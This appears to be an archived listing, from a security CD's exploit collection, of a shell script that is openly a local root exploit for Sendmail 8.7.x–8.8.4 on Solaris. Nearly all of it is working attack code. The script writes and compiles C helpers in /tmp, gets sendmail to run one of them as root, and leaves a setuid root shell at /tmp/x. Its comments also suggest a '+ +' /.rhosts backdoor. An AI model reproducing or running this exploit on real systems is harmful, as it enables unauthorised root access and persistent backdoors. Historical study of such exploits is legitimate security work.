home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / sendmail.sh < prev    next >
Text File  |  2005-02-12  |  1KB  |  55 lines

  1. #/bin/sh
  2. #
  3. # Spac3D0g's Sendmail 8.7.x-8.8.4 root 'sploit.
  4. # (Rewritten from Leshka's to support Solaris)
  5. #
  6. # Tested on Solaris 2.5, 2.5.1, other OS's too..
  7. # Should create a suid program /tmp/x that calls shell as root.
  8. #
  9. # Modify RUN in x.c for what you wanna run, and possibly the location
  10. # or format of the ps command in the KILL line below for your platform.
  11. #
  12. # Or you could remove x.c alltogether and just put what you wanna do as
  13. # root in smtpd.c (Ie: 'echo "+ +" >>/.rhosts' works nicely)
  14. #
  15. #
  16. cat << _EOF_ >/tmp/x.c
  17.  #define RUN "/bin/ksh"
  18.  #include<stdio.h>
  19.  main()
  20.  {
  21.     execl(RUN,RUN,NULL);
  22.  }
  23. _EOF_
  24. #
  25. cat << _EOF_ >/tmp/spawnfish.c
  26.  main()
  27.  {
  28.    execl("/usr/lib/sendmail","/tmp/smtpd",0);      
  29.  }                                             
  30. _EOF_
  31. #
  32. cat << _EOF_ >/tmp/smtpd.c
  33.  main()
  34.  {
  35.    setuid(0); setgid(0); 
  36.    system("chown root /tmp/x ;chmod 4755 /tmp/x");
  37.  }
  38. _EOF_
  39. #
  40. #
  41. gcc -O  -o /tmp/x /tmp/x.c
  42. gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
  43. gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
  44. #
  45. /tmp/spawnfish
  46. kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
  47. rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
  48. sleep 5
  49. if [ -u /tmp/x ] ; then
  50.    echo "leet..."
  51.    /tmp/x
  52. fi
  53.  
  54. #                 www.hack.co.za           [2000]#